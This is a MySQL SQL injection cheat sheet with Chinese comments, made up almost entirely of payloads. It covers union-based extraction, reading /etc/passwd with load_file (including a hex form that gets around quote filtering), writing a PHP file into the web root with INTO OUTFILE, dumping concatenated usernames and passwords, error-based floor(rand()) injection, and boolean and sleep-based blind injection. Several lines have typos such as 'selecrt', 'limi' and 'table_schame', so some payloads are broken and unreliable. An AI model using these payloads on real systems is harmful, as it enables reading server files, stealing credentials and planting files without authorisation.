select * from users where username='zhangsan' and "ab"="a"+"b";

select user(); #root@localhost
select current_user; #root@localhost

select @@datadir; #D:\xampp\mysql\data\

select * from users union select 1,load_file('/etc/passwd'),3;
select * from users union select 1,load_file(0x2F6574632F706173737764),3; #使用16进制绕过单引号限制

select '<?php phpinfo(); ?>' into outfile '/var/www/html/xxx.php';
select char(60,63,112,104,112,32,112,104,112,105,110,102,111,40,41,59,32,63,62) into outfile '/var/www/html/xxx.php';

select concat(username,password)from users;

select concat_ws(',',username,password) from users;

select group_concat(username) from users;
#返回的就是users表中所有的用户名，并且是作为一条记录返回。

select substr((select database()),1,1);

select ascii('a'); #97

select length("123456") #返回6

select 1,2,if(1=1,3,-1) #1,2,3
selecrt 1,2,if(1=2,3,-1) #1,2,-1

select database(); #查选数据库
select schema_name from information_schema.schemata limit 0,1 #查询数据库
select table_name from information_schema.tables where table_schema=database() limit 0,1; #查询表
select column_name from information_schema.columns where table_name='users' limit 0,1; #查询列

select * from users where id=1 and if(length(user())=14,sleep(3),1);
select * from users where id=1 and if(mid(user(),1,1)='r',sleep(3),1);

1' order by num #  确定字段长度
1' union select 1,2,3 # 确定字段长度
-1' union select 1,2,3 # 判断页面中显示的字段
-1' union select 1,2,group_concat(schema_name) from information_schema.schemata #显示mysql中所有的数据库
-1' union select 1,2 group_concat(table_name) from information_schema.tables where table_schame = "dbname"/database()/hex(dbname) #
-1' union select 1,2,column_name from information_schema.columns where table_name="table_name" limit 0,1 #
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="table_name"/hex(table_name) limit 0,1 #
-1' union select 1,2,3 AND '1'='1  在注释符无法使用的情况下

select concat(0x3a,0x3a,(select database()),0x3a,0x3a);
select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a;
select concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables;
select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a; #这种sql语句的写法，常用于sql的盲注。得到数据库的信息
select count(*),concat(0x3a,0x3a,(select table_name from information_schema.table where table_schema=database() limi 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a; #得到数据库的表的信息

 
#利用姿势如下：
1' AND (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.table where table_schema=database() limi 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)b) --+

1' and ascii(substr(select database(),1,1))>99
1' and ascii(substr((select table_name from information_schema.tables limit 0,1),1,1))>90

1' AND select if((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1)='e',sleep(10),null) +
1' AND select if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(10),null) --+